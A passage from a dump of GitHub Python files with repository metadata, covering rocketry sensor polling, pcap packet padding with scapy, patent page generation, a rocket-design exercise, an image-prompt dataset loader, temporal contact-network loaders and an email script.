print('-------------------------------------------------------------------------------------------------------------------------------------------')","repo_name":"alessandrosebastianelli/CNNSpeckleFilter","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5519,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"18024047087","text":"from resource import Resource\n\n\nclass Campaign(Resource):\n\n _resource_ = 'campaigns'\n\n def __init__(self, **kwargs):\n super(Campaign, self).__init__(**kwargs)\n self.Claim._resource_ = 'campaigns/%s/claims' % self.id\n\n def __repr__(self):\n return self.name\n\n class Claim(Resource):\n _resource_ = None","repo_name":"inkmonk/api-client-python","sub_path":"inkmonk/campaign.py","file_name":"campaign.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42199246468","text":"\nfrom concurrent.futures import thread\nfrom pylibrnp.defaultpackets import processedsensorpacket\nimport cmd2\nimport sys\nfrom cmd2.argparse_custom import Cmd2ArgumentParser\nfrom cmd2.decorators import with_argparser\nfrom pylibrnp.defaultpackets import *\nfrom pylibrnp.rnppacket import *\nimport argparse\nimport time\nimport enum\n\nimport socketio\nimport threading\n\n\nflight_sensor_board_address = 7\nground_sensor_board_address = 16\n\nsensor_update_run = False\n\ndef get_sensor_update_thread(sio,source_address,dt):\n global sensor_update_run\n while sensor_update_run:\n get_sensor_values = SimpleCommandPacket(command=8,arg=0)\n get_sensor_values.header.source_service = 10\n get_sensor_values.header.destination_service = 2\n get_sensor_values.header.source = int(source_address)\n get_sensor_values.header.destination = flight_sensor_board_address\n\n sio.emit('send_data',{'data':get_sensor_values.serialize().hex()},namespace='/packet')\n \n get_sensor_values.header.destination = ground_sensor_board_address\n\n sio.emit('send_data',{'data':get_sensor_values.serialize().hex()},namespace='/packet')\n \n time.sleep(dt/1000)\n print('process killed')\n\n\nclass SI_Sensor_View(cmd2.Cmd):\n sio = socketio.Client(logger=False, engineio_logger=False)\n\n def __init__(self,host='localhost',port=1337):\n super().__init__(allow_cli_args=False) \n\n self.source_address = 4\n \n\n self.thread_handle = None\n self.sensor_data = {}\n \n\n self.sio.connect('http://' + host + ':' + str(port) + '/',namespaces=['/','/packet','/messages'])\n self.sio.on('response',self.on_response_handler,namespace='/packet') \n\n #setting up socketio client and event handler\n\n @sio.event\n def connect():\n print(\"I'm connected!\")\n\n\n # @sio.on('response',namespace='/packet')\n def on_response_handler(self,data):\n print(data)\n try:\n packet = bytes.fromhex(data['data'])\n header = RnpHeader.from_bytes(packet)\n except:\n print(\"Failed to decode header\")\n return\n \n print(header)\n if header.packet_type == 103 and header.destination_service==10:\n sensor_packet = processedsensorpacket.from_bytes(packet)\n if (header.source == ground_sensor_board_address):\n self.sensor_data[\"load\"] = sensor_packet.ch0sens\n self.sensor_data[\"temp1\"] = sensor_packet.ch2sens\n self.sensor_data[\"temp2\"] = sensor_packet.ch3sens\n self.sensor_data[\"hose_p\"] = sensor_packet.ch6sens\n self.sensor_data[\"fill_p\"] = sensor_packet.ch9sens\n\n if (header.source == flight_sensor_board_address):\n self.sensor_data[\"temp3\"] = sensor_packet.ch3sens\n self.sensor_data[\"cham_p\"] = sensor_packet.ch6sens\n self.sensor_data[\"tank_p\"] = sensor_packet.ch9sens\n\n print(self.sensor_data) \n \n \n\n start_ap = Cmd2ArgumentParser()\n start_ap.add_argument('rate',type=int) \n @with_argparser(start_ap)\n def do_start(self,opts):\n global sensor_update_run\n sensor_update_run = False\n time.sleep(0.1)\n sensor_update_run = True\n self.thread_handle = threading.Thread(target = get_sensor_update_thread,args = (self.sio,self.source_address,opts.rate)).start()\n\n def do_stop(self,opts):\n global sensor_update_run\n sensor_update_run= False\n\n @sio.event\n def connect_error(data):\n print(\"The connection failed!\")\n\n @sio.event\n def disconnect():\n print(\"I'm disconnected!\")\n\n #method for serializing and sending command and its argument\n def send_packet(self,packet,destination,source=None,destination_service = 1,source_service = 2,packet_type = 0):\n packet.header.source_service = source_service\n packet.header.destination_service = destination_service\n\n if (source is None):\n source = self.source_address\n\n packet.header.source = int(source)\n packet.header.destination = int(destination)\n packet.header.packet_type = int(packet_type)\n self.sio.emit('send_data',{'data':packet.serialize().hex()},namespace='/packet')\n \n \n def do_quit(self,opts):\n self.sio.disconnect()\n return True\n \n \n\nap = argparse.ArgumentParser()\nap.add_argument('-s',\"--source\",required=False,type=int,default=4,help='Soure Address of packets')\n\nargs = vars(ap.parse_args())\n\n\nif __name__ == \"__main__\":\n si_sensor_view = SI_Sensor_View()\n si_sensor_view.source_address = args['source']\n si_sensor_view.cmdloop()\n","repo_name":"icl-rocketry/Ricardo-Backend-Apps","sub_path":"si_sensors_view.py","file_name":"si_sensors_view.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2515629489","text":"from scapy.all import *\nimport sys\nfrom optparse import OptionParser\n\nparser = OptionParser()\nparser.add_option(\"-r\", \"--reverse\", action=\"store_true\", dest=\"reverse\",\n default=False, help=\"Reverse destination and source addresses\")\nparser.add_option(\"\", \"--dest-port\", dest=\"dport\",\n help=\"Filter UDP destination port\")\noptions, args = parser.parse_args()\ninfile, outfile = args\n\npkts = rdpcap(infile)\nout = []\nfor p in pkts:\n if p.haslayer(IP) and p.haslayer(UDP):\n if options.dport is None or options.dport == p[UDP].dport:\n p[IP].chksum = 0\n p[IP].flags = 0\n p[UDP].chksum = 0\n if options.reverse:\n p[UDP].sport, p[UDP].dport = p[UDP].dport, p[UDP].sport\n p[IP].src, p[IP].dst = p[IP].dst, p[IP].src\n p[Ether].src, p[Ether].dst = p[Ether].dst, p[Ether].src\n if len(p) < 60:\n p = Ether(str(p) + '\\0' * (60 - len(p)))\n out.append(p)\n\nwrpcap(outfile, out)\n","repo_name":"acsl-technion/nica","sub_path":"nica/hls/tests/pad_small_packets.py","file_name":"pad_small_packets.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"31"} +{"seq_id":"12342880065","text":"#%%\nimport pandas as pd\ndef format_date(date,n=8): # change format if n < 8\n date = str(date)\n formatted_date = date[:4]+\"/\"+date[4:6]+\"/\"+date[6:8]\n formatted_date = formatted_date.replace(\"X\",\"\")\n return formatted_date\n\ndef format_authors(authors):\n sorted_authors = \"\"\n for a in authors.split(\" and \"):\n try:\n last,first = a.split(\", \")\n sorted_authors += first + \" \" + last + \", \"\n except ValueError:\n sorted_authors += a + \", \"\n sorted_authors = sorted_authors[:-2] \n return sorted_authors\n\nfor LANG in [\"\",\"_JP\"]:\n df = pd.read_csv(f\"Patents{LANG}.csv\")\n out_html = \"

Patents

\"\n df = df.sort_values(by = \"Date\", ascending = False).fillna(\"\")\n N = df.shape[0]\n\n out_html += f\"\\n\\t
    \\n\"\n for i in range(N):\n data = df.iloc[i].astype(str)\n date, status, authors, title, ID = data\n date = format_date(date)\n authors = format_authors(authors)\n out_html += f'\\t\\t
  1. {authors} \"{title}\" ID: {ID} ({date}, {status}).

  2. \\n\\n'\n out_html += \"\\t
\\n\\n\"\n with open(f\"../contents/patents{LANG}_contents.html\", \"w\") as f:\n f.write(out_html)\n","repo_name":"HideshiOoka/Homepage","sub_path":"python/make_patent_contents.py","file_name":"make_patent_contents.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11440748126","text":"from typing import List\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom constantes import DELTA_V_MINIMUM_PAR_CORPS_CELESTE, CHEMIN_CAPSULES, CHEMIN_MOTEURS, CHEMIN_RESERVOIRS\r\nfrom fichiers_pieces import charger_capsules_df, charger_moteurs_df, charger_reservoirs_df\r\nfrom fusee import Fusee, Capsule, Reservoir, Moteur\r\n\r\n\r\ndef creer_capsules(capsules_df: pd.DataFrame) -> List[Capsule]:\r\n # TODO Transformez le dataframe des capsules en liste d'objets de type Capsule\r\n liste_cap = []\r\n for pos_cap in range(len(capsules_df)): #0, 1, 2, ...\r\n une_capsule = Capsule(capsules_df['nom'][pos_cap], capsules_df['hauteur'][pos_cap], capsules_df['masse'][pos_cap], capsules_df['prix'][pos_cap], capsules_df['places'][pos_cap])\r\n liste_cap.append(une_capsule)\r\n return liste_cap \r\n\r\n\r\ndef creer_moteurs(moteurs_df: pd.DataFrame) -> List[Moteur]:\r\n # TODO Transformez le dataframe des moteurs en liste d'objets de type Moteur\r\n liste_mot = []\r\n for pos_mot in range(len(moteurs_df)):\r\n un_moteur = Moteur(moteurs_df['nom'][pos_mot], moteurs_df['hauteur'][pos_mot], moteurs_df['masse'][pos_mot], moteurs_df['prix'][pos_mot], moteurs_df['impulsion specifique'][pos_mot])\r\n liste_mot.append(un_moteur)\r\n return liste_mot \r\n\r\n\r\ndef creer_reservoirs(reservoirs_df: pd.DataFrame) -> List[Reservoir]:\r\n # TODO Transformez le dataframe des reservoir en liste d'objets de type Reservoir\r\n liste_res = []\r\n for pos_res in range(len(reservoirs_df)):\r\n un_res = Reservoir(reservoirs_df['nom'][pos_res], reservoirs_df['hauteur'][pos_res], reservoirs_df['masse'][pos_res], reservoirs_df['prix'][pos_res], reservoirs_df['capacite'][pos_res])\r\n liste_res.append(un_res)\r\n return liste_res \r\n\r\n\r\ndef corps_celestes_accessibles(fusee: Fusee) -> List[str]:\r\n # TODO Retournez la liste des corps célestes accessibles par la fusée.\r\n # Utiliser DELTA_V_MINIMUM_PAR_CORPS_CELESTE\r\n list_planet = []\r\n print(fusee)\r\n for planet in DELTA_V_MINIMUM_PAR_CORPS_CELESTE.keys():\r\n if fusee.calculer_deltav() > DELTA_V_MINIMUM_PAR_CORPS_CELESTE[planet]:\r\n list_planet.append(planet)\r\n return list_planet\r\n\r\n\r\ndef comparer_fusee(fusee_1: Fusee, fusee_2: Fusee) -> None:\r\n # TODO créer un grouped barplot comparant les fusées passées en paramètre en fonction des trois métriques suivantes:\r\n # * Masse / Coût\r\n h_m_1 = fusee_1.hauteur/fusee_1.masse\r\n h_m_2 = fusee_2.hauteur/fusee_2.masse\r\n # * DeltaV / Coût\r\n dV_c_1 = fusee_1.calculer_deltav()/fusee_1.prix\r\n dV_c_2 = dV_c = fusee_2.calculer_deltav()/fusee_2.prix\r\n # * DeltaV / Masse\r\n deltav_m1 = fusee_1.calculer_deltav()/fusee_1.masse\r\n deltav_m2 = fusee_2.calculer_deltav()/fusee_2.masse\r\n # TODO Générez un dataframe avec trois colonnes; fusée, résultats des différents ratios et type_ratio\r\n d1 = {'fusée': [fusee_1.nom, fusee_1.nom , fusee_1.nom], 'ratios': [deltav_m1, dV_c_1, h_m_1], 'type_ratio': ['deltaV/masse', 'deltaV/prix', 'hauteur/masse']}\r\n df_1 = pd.DataFrame(d1)\r\n d2 = {'fusée': [fusee_2.nom, fusee_2.nom, fusee_2.nom], 'ratios': [deltav_m2, dV_c_2, h_m_2], 'type_ratio': ['deltaV/masse', 'deltaV/prix', 'hauteur/masse']}\r\n df_2 = pd.DataFrame(d2)\r\n res=pd.concat([df_1, df_2])\r\n print(res)\r\n sns.barplot(x = 'fusée', y = 'ratios', data = res, hue = 'type_ratio').set(title=f'Comparaison de ratios de {fusee_1.nom} et {fusee_2.nom}')\r\n plt.show() \r\n\r\nif __name__ == '__main__':\r\n # creer_capsules\r\n capsules_df = charger_capsules_df(CHEMIN_CAPSULES)\r\n capsules = creer_capsules(capsules_df)\r\n for capsule in capsules:\r\n print(capsule)\r\n print()\r\n\r\n # creer_moteurs\r\n reservoirs_df = charger_moteurs_df(CHEMIN_MOTEURS)\r\n moteurs = creer_moteurs(reservoirs_df)\r\n for moteur in moteurs:\r\n print(moteur)\r\n print()\r\n\r\n # creer_reservoirs\r\n reservoirs_df = charger_reservoirs_df(CHEMIN_RESERVOIRS)\r\n reservoirs = creer_reservoirs(reservoirs_df)\r\n for reservoir in reservoirs:\r\n print(reservoir)\r\n print()\r\n\r\n # corps_celestes_accessibles\r\n capsule = Capsule(\"PasDBonSens\", 1.5, 840.0, 600.0, 1)\r\n reservoir_1 = Reservoir(\"Piscine\", 25.0, 9000.0, 13000.00, 6480.0)\r\n moteur = Moteur(\"La Puissance\", 12.0, 15000.0, 39000.00, 295)\r\n fusee_1 = Fusee(\"Romano Fafard\", capsule, reservoir_1, moteur)\r\n\r\n deltaV = fusee_1.calculer_deltav()\r\n corps_celestes = corps_celestes_accessibles(fusee_1)\r\n print(f\"La fusée {fusee_1.nom} peut aller, avec {deltaV:.2f} de deltaV, jusqu'à: {corps_celestes}\")\r\n print()\r\n\r\n # comparer_fusee\r\n reservoir_2 = Reservoir(\"Pichet\", 0.4, 0.5, 20, 2)\r\n fusee_2 = Fusee(\"Romano Fafard Lite\", capsule, reservoir_2, moteur)\r\n comparer_fusee(fusee_1, fusee_2)\r\n","repo_name":"GabrielLouka/project3---A21","sub_path":"l02_pr03-GabrielLouka/assemblage.py","file_name":"assemblage.py","file_ext":"py","file_size_in_byte":4866,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40169453169","text":"import os\nimport torch\nfrom PIL import Image\nimport pandas as pd\nimport json\nfrom torchvision.transforms.functional import InterpolationMode\nimport torchvision.transforms as torch_transforms\n\n# Hard coded function to filter dataset, need to be removed\ndef filter_dataset(pd_data):\n from transformers import CLIPTokenizer\n tokenizer = CLIPTokenizer.from_pretrained(\"CompVis/stable-diffusion-v1-4\", subfolder=\"tokenizer\", cache_dir=\".cache\")\n ignore = []\n for i in range(len(pd_data)):\n prompt = pd_data.iloc[i].prompt\n if len(tokenizer(prompt)['input_ids']) > 60:\n ignore.append(i)\n return ignore\n\ndef _convert_image_to_rgb(image):\n return image.convert(\"RGB\")\n\ndef get_transform(interpolation=InterpolationMode.BICUBIC, size=512):\n transform = torch_transforms.Compose([\n torch_transforms.Resize(size, interpolation=interpolation),\n torch_transforms.CenterCrop(size),\n _convert_image_to_rgb,\n torch_transforms.ToTensor(),\n torch_transforms.Normalize([0.5], [0.5])\n ])\n return transform\n\nclass PNGImageDataset(torch.utils.data.Dataset):\n def __init__(self, root_dir, transform=None):\n self.root_dir = root_dir\n self.transform = transform\n self.image_files = []\n prompts_df = pd.read_csv(os.path.join(self.root_dir,'prompts.csv'))\n self.data = prompts_df[['prompt', 'evaluation_seed', 'evaluation_guidance']] if 'evaluation_seed' in prompts_df.columns else prompts_df[['prompt']]\n if os.path.exists(os.path.join(self.root_dir,'ignore.json')):\n with open(os.path.join(self.root_dir,'ignore.json')) as f:\n ignore = json.load(f)\n else:\n ignore = filter_dataset(self.data)\n with open(os.path.join(self.root_dir,'ignore.json'), 'w') as f:\n json.dump(ignore, f)\n self.idxs = [i for i in range(len(self.data)) if i not in ignore]\n subdir = 'imgs'\n dir_path = os.path.join(self.root_dir, subdir)\n self.image_files.extend([(f,subdir) for f in os.listdir(dir_path) if f.endswith('.png')])\n self.image_files.sort(key=lambda x: int(x[0].split('_')[0]))\n\n def __len__(self):\n return len(self.idxs)\n\n def __getitem__(self, idx):\n idx = self.idxs[idx]\n img_path = self.image_files[idx][0]\n subdir = self.image_files[idx][1]\n img_path = os.path.join(self.root_dir,subdir, img_path)\n image = Image.open(img_path).convert(\"RGB\") # Reads image and returns a CHW tensor\n # image = TF.to_tensor(image)\n prompt = self.data.iloc[idx].prompt\n seed = self.data.iloc[idx].evaluation_seed if 'evaluation_seed' in self.data.columns else None\n guidance_scale = self.data.iloc[idx].evaluation_guidance if 'evaluation_guidance' in self.data.columns else 7.5 \n if self.transform:\n image = self.transform(image)\n \n return image, prompt, seed, guidance_scale\n\ndef get(root_dir):\n return PNGImageDataset(root_dir=root_dir,transform=get_transform()) ","repo_name":"OPTML-Group/Diffusion-MU-Attack","sub_path":"src/tasks/utils/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"23303548602","text":"import sys, os\n\nclass Elastic(object):\n\n \"\"\"\n The idea in this script was originally proposed in:\n Le Page, Y., & Saxe, P. (2002). Symmetry-general least-squares extraction of elastic data for strained materials from ab initio calculations of stress. Physical Review B, 65(10), 104104.\n \"\"\"\n\n def __init__(self):\n deform = []\n strain = []\n stress = []\n\ndef dot_prod(a, b):\n return a[0]*b[0] + a[1]*b[1] + a[2]*b[2]\n\n\ndef cross_prod(a, b):\n # a x b = (a2b3 - a3b2)i - (a1b3 - a3b1)j + (a1b2 - a2b1)k\n return [a[1]*b[2] - a[2]*b[1], -a[0]*b[2] + a[2]*b[0], a[0]*b[1] - a[1]*b[0]]\n\ndef product3(A, B):\n return [[A[0][0]*B[0][0]+A[0][1]*B[1][0]+A[0][2]*B[2][0],\n A[0][0]*B[0][1]+A[0][1]*B[1][1]+A[0][2]*B[2][1],\n A[0][0]*B[0][2]+A[0][1]*B[1][2]+A[0][2]*B[2][2]],\n [A[1][0]*B[0][0]+A[1][1]*B[1][0]+A[1][2]*B[2][0],\n A[1][0]*B[0][1]+A[1][1]*B[1][1]+A[1][2]*B[2][1],\n A[1][0]*B[0][2]+A[1][1]*B[1][2]+A[1][2]*B[2][2]],\n [A[2][0]*B[0][0]+A[2][1]*B[1][0]+A[2][2]*B[2][0],\n A[2][0]*B[0][1]+A[2][1]*B[1][1]+A[2][2]*B[2][1],\n A[2][0]*B[0][2]+A[2][1]*B[1][2]+A[2][2]*B[2][2]]]\n \ndef connected_components(adj_mat):\n \"\"\"\n This is a simple dfs algorithm to check connectivity\n\n \"\"\"\n\n visited = [False] * len(adj_mat)\n cluster = []\n\n def dfs(vertex):\n visited[vertex] = True\n cluster[-1].append(vertex)\n for j in range(len(adj_mat)):\n if adj_mat[vertex][j] == 1:\n if not visited[j]:\n dfs(j)\n\n for i in range(len(adj_mat)):\n if not visited[i]:\n cluster.append([])\n dfs(i)\n\n return cluster\n\ndef cycle(adj_mat, vertex):\n \"\"\"\n This is a simple dfs algorithm to find cycles around a given vertex\n \"\"\"\n\n visited = [0] * len(adj_mat)\n visited[vertex] = 1\n\n def bfs(vertex, g=2):\n for j in range(len(adj_mat)):\n if adj_mat[vertex][j] == 1:\n if visited[j] == 0:\n visited[j] == g\n dfs(j, g+1)\n elif visited[j] == g:\n pass\n\n\n\n\n\n\n\n","repo_name":"lilithean/crystalspells","sub_path":"src/spells.py","file_name":"spells.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74175290647","text":"from typing import Dict\nfrom .common_imports import *\n\nclass weightedNetwork:\n \n def __init__(self, nodes, edges):\n self.nodes = nodes\n self.edges = edges # (F, T, w)\n self.edgelist = edges # some compatibility with tnets\n \n self.ego_edges = defaultdict(dict)\n for f,t,w in self.edges:\n self.ego_edges[f][t] = w\n self.ego_edges[t][f] = w\n\n self.Nnodes = len(self.nodes)\n self.days = [dt.datetime.now().date()]\n\n self.mindayT = [0]\n self.maxdayT = [int( 0.25 * 3600*24/20 )]\n self.day_breaks = [0, 3600*24/20]\n\n G = nx.Graph()\n G.add_weighted_edges_from([\n [f,t,w]\n for f,t,w in self.edges\n ])\n self.G = G\n \n\nclass unweightedNetwork(weightedNetwork):\n \n def __init__(self, nodes, edges, weight):\n return super().__init__(\n nodes,\n [[f,t,weight] for f,t in edges]\n )\n\n @classmethod\n def from_csv(cls, fn, weight):\n\n from csv import DictReader\n \n with open(fn, 'r', encoding='utf8') as inf:\n rs = list(DictReader(inf))\n\n ks = sorted(rs[0].keys())\n assert len(ks) == 2 # must have 2 columns\n\n edges = [ [int(r[ks[0]]),int(r[ks[1]])] for r in rs ]\n nodes = sorted(set( [r[0] for r in edges] ).union(set( [r[1] for r in edges] )))\n\n return unweightedNetwork( nodes, edges, weight )\n\n\nclass temporalNetwork:\n\n def range(self, day_start, day_end):\n\n start = self.mindayT[day_start]\n end = self.maxdayT[day_end-1]\n \n new_timeStart = self.time_start + (day_start)*3600*24\n new_timeStart_diff = (day_start)*3600*24/20\n \n new_edgelist = [\n (t - new_timeStart_diff, a, b) for (t, a, b) in self.edgelist if start <= t <= end\n ]\n new_edgelist = np.array(new_edgelist)\n\n return temporalNetwork(\n edgelist = new_edgelist,\n time_start = new_timeStart,\n node_attr = self.node_attr\n )\n\n\n def _trim_days_fail(self, days):\n def transfer_time(when):\n day_offset = 0\n for i in range(len(self.day_breaks)-1):\n if self.day_breaks[i+1] >= when >= self.day_breaks[i]:\n # add the thing\n if i in days:\n return when - day_offset\n else:\n return None\n else:\n if i not in days:\n day_offset += self.day_breaks[i+1] - self.day_breaks[i]\n \n raise Exception(\"when is not in any day... confusing%s\"%when, when)\n\n new_edgelist = [\n (transfer_time(t), a, b) for (t, a, b) in self.edgelist\n ]\n new_edgelist = list(filter(lambda x: x[0] is not None, new_edgelist))\n new_edgelist = np.array(new_edgelist)\n\n new_day_breaks = [transfer_time(x) for x in self.day_breaks[:-1]]\n new_day_breaks = list(filter(lambda x: x is not None, new_day_breaks))\n \n return temporalNetwork(\n edgelist = new_edgelist,\n time_start = self.time_start,\n times = self.times,\n node_attr = self.node_attr,\n day_breaks = new_day_breaks,\n node_ids = self.node_ids\n )\n \n def to_weighted(self, normalize=False):\n \n nodes = range(len(self.G.nodes))\n wts = Counter([(u,v) for t,u,v in self.edgelist])\n \n TOTAL_TIME = (\n len(set(self.edgelist[:,0])) \n if normalize else 1\n # amount of time for which we have data\n )\n \n edges = [\n (f,t,c / TOTAL_TIME)\n for (f,t),c in wts.items()\n ]\n \n w = weightedNetwork(nodes, edges)\n w.node_attr = self.node_attr\n w.time_start = self.time_start\n w.day_breaks = self.day_breaks\n w.node_ids = self.node_ids\n w.Tmax = self.Tmax\n w.Tmin = self.Tmin\n w.Nnodes = self.Nnodes\n w.times = self.times\n w.G = self.G\n \n return w\n\n def __init__(self,edgelist,time_start,node_attr,):\n self.edgelist = np.copy(edgelist)\n self._edgelist_arg = edgelist\n self.time_start = time_start\n self.node_attr = node_attr\n\n self.execute_preprocessing()\n self.weighted = self.to_weighted()\n\n self.nodes = list(self.G.nodes)\n \n @classmethod\n def load(cls, dataset):\n \n if dataset == 'high school2':\n\n import pandas as pd\n edgelist = pd.read_csv( str(Path(DATA_DIR, \"high school 2/full.txt\")), sep=\"\\t\", header=None)\n edgelist = np.array(edgelist, dtype=int)\n edgelist = edgelist[:,:3]\n\n time_start = dt.datetime(2010,1,14, 6,0,0).timestamp()\n\n \n roles = pd.read_csv(str(Path(DATA_DIR, \"high school 2/roles.txt\")), sep=\"\\t\", header=None)\n role_map = {\n x[0]: x[1]\n for i,x in roles.iterrows()\n }\n \n node_attr = {\n 'role': role_map\n }\n\n\n elif dataset == 'high school':\n\n import pandas as pd\n edgelist = pd.read_csv(str(Path(DATA_DIR, \"high school/High-School_data_2013.csv\")), sep=\" \", header=None)\n\n node_ids = sorted(set(edgelist[1]).union(set(edgelist[2])))\n\n classes = {\n c: set(edgelist[ edgelist[3] == c ][1]).union(edgelist[ edgelist[4] == c ][2])\n for c in set(edgelist[3])\n }\n\n #node_ids.index(p)\n class_map = {\n p: c\n for c in classes\n for p in classes[c]\n }\n \n edgelist = np.array(edgelist.loc[:,:2], dtype=int)\n \n # normalize the times\n time_start = dt.datetime(2013,12,2, 7,0,0).timestamp()\n \n node_attr = {\n 'class': class_map\n }\n \n elif dataset == 'workplace':\n \n import pandas as pd\n edgelist = pd.read_csv(str(Path(DATA_DIR, \"contacts in the workplace/tij_InVS.DAT\")), sep=\" \", header=None)\n edgelist = np.array(edgelist)\n\n time_start = dt.datetime(2013,6,24).timestamp()\n\n depts = pd.read_csv(str(Path(DATA_DIR, \"contacts in the workplace/metadata_InVS13.TXT\")), sep=\"\\t\", header=None)\n \n node_attr = {\n 'department': {\n x[0]: x[1]\n for i,x in depts.iterrows()\n }\n }\n\n elif dataset == 'workplace2':\n \n import pandas as pd\n edgelist = pd.read_csv(str(Path(DATA_DIR, \"contacts in the workplace 2/tij_InVS15.DAT\")), sep=\" \", header=None)\n edgelist = np.array(edgelist)\n\n time_start = dt.datetime(2014,6,24, 9,0,0).timestamp() # I ACTUALLY CANT FIND THIS ONE...\n\n depts = pd.read_csv(str(Path(DATA_DIR, \"contacts in the workplace 2/metadata_InVS15.TXT\")), sep=\"\\t\", header=None)\n\n node_ids = set(edgelist[:,1]).union(set(edgelist[:,2]))\n \n node_attr = {\n 'department': {\n x[0]: x[1]\n for i,x in depts.iterrows()\n if x[0] in node_ids\n }\n }\n\n\n elif dataset == 'primary school':\n import pandas as pd\n edgelist = pd.read_csv(str(Path(DATA_DIR, \"primary school/primaryschool.csv\")), sep=\"\\t\", header=None)\n edgelist = np.array(edgelist)\n\n time_start = dt.datetime(2009,10,1, 7,0,0).timestamp()\n\n depts = pd.read_csv(str(Path(DATA_DIR, \"primary school/metadata_primaryschool.txt\")), sep=\"\\t\", header=None)\n \n node_attr = {\n 'class': {\n x[0]: x[1]\n for i,x in depts.iterrows()\n },\n 'gender': {\n x[0]: x[2]\n for i,x in depts.iterrows()\n },\n }\n \n elif dataset == 'gillespie_sample':\n import pandas as pd\n edgelist = pd.read_csv(str(Path(DATA_DIR, \"temporal_gillespie_sample.txt\")), sep=\"\\t\", header=None)\n edgelist = np.array(edgelist)\n\n time_start = dt.datetime(2020,1,1).timestamp()\n \n node_attr = {}\n \n \n else:\n raise Exception('dataset not found...')\n\n return temporalNetwork(\n edgelist = edgelist,\n time_start = time_start,\n node_attr = node_attr,\n )\n \n def execute_preprocessing(self):\n \n self.node_ids = sorted(set(self.edgelist[:,1]).union(self.edgelist[:,2]))\n\n #node_transfer = lambda x: self.node_ids.index(x)\n\n #self.edgelist[:,1] = np.array(list(map(node_transfer, self.edgelist[:,1])))\n #self.edgelist[:,2] = np.array(list(map(node_transfer, self.edgelist[:,2])))\n\n # normalize the times\n orig_times = sorted(set(self.edgelist[:,0]))\n first_diff = orig_times[1] - orig_times[0]\n \n self.edgelist[:,0] = self.edgelist[:,0] - self.edgelist[0,0]\n \n if first_diff == 20:\n self.edgelist[:,0] = self.edgelist[:,0] / 20\n elif first_diff != 1:\n raise Exception(\"time difference must be 20 or 1\")\n\n self.times = sorted(set(self.edgelist[:,0]))\n\n\n self.days = sorted(set(\n [\n dt.datetime.fromtimestamp(x).date() \n for x in np.array(self.times)*20 + self.time_start\n ]\n ))\n \n self.Tmin = np.min(self.edgelist[:,0])\n self.Tmax = np.max(self.edgelist[:,0])\n \n self.day_breaks = [\n (dt.datetime.fromordinal(x.toordinal()).timestamp() - self.time_start) / 20\n for x in self.days\n ]\n self.day_breaks += [self.day_breaks[-1] + 3600*24 / 20]\n\n self.day_breaks = [int(x) for x in self.day_breaks]\n \n # this is necessary to check whether the network is directed intiitally\n edgelist_counter = Counter([\n tuple([t]+sorted([u,v]))\n for t,u,v in self.edgelist\n ])\n\n if any(x%2!=0 for x in edgelist_counter.values()):\n # ensure the network is undirected!\n edgelist = np.array(self.edgelist, dtype=int)\n edgelist_directed = np.zeros(( len(edgelist)*2, 3 ))\n for idx in range( len(edgelist) ):\n t, u, v = edgelist[idx]\n edgelist_directed[2*idx, :] = t, u, v\n edgelist_directed[2*idx + 1, :] = t, v, u\n edgelist = edgelist_directed.astype(int)\n self.edgelist = edgelist\n \n \n \n \n self.t_edges = defaultdict(list)\n for t, a, b in self.edgelist:\n #if a>b:\n self.t_edges[t].append((a,b))\n \n self.edgelist = self.edgelist.astype(int)\n \n # make time-aggregated network\n G = nx.Graph()\n wts = Counter([(u,v) for t,u,v in self.edgelist])\n G.add_weighted_edges_from([(u,v, wts[(u,v)]) for (u,v) in wts])\n \n self.Nedges = len(G.edges)\n self.Nnodes = len(G.nodes)\n self.G = G\n \n self.eldf = pd.DataFrame.from_records( self.edgelist )\n\n\n \n self.mindayT = {\n day: min( [t for (t,_,_) in self.edgelist \n if self.day_breaks[day] <= t <= self.day_breaks[day+1]] )\n for day in range( len(self.days) )\n }\n \n self.maxdayT = {\n day: max( [t for (t,_,_) in self.edgelist \n if self.day_breaks[day] <= t <= self.day_breaks[day+1]] )\n for day in range( len(self.days) )\n }","repo_name":"amcgail/episim","sub_path":"epi_model/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":11975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70559443927","text":"from process_data_01 import process_data\nfrom make_html_text_02 import make_html_text\nfrom send_email_03 import send_email\n\n\ndef email_automation(db_data):\n for i in db_data:\n processed_data = process_data(i)\n name, email, fortune, goals = processed_data[\"name\"], processed_data[\n \"email\"], processed_data[\"fortune\"], processed_data[\"goals\"]\n # name, fortune, list\n html_text = make_html_text(name, fortune, goals)\n # name, html_text, to_email\n send_email(name, html_text, email)\n\n\ndb_data = [\n {\n \"id\": 1,\n \"nickname\": \"봉까치\",\n \"email\": \"test123@test.co.kr\",\n \"fortune_id\": 2,\n \"goals\": [\n \"자유의 몸 되기\"\n ]\n }\n]\n\nemail_automation(db_data)\n","repo_name":"2021bong/python-study","sub_path":"email/email_automation.py","file_name":"email_automation.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42591410810","text":"import turtle, threading, random, time\r\n\r\n# The following sets up the display screen\r\nwindow = turtle.Screen()\r\nwindow.title(\"GUESS THE TURTLE 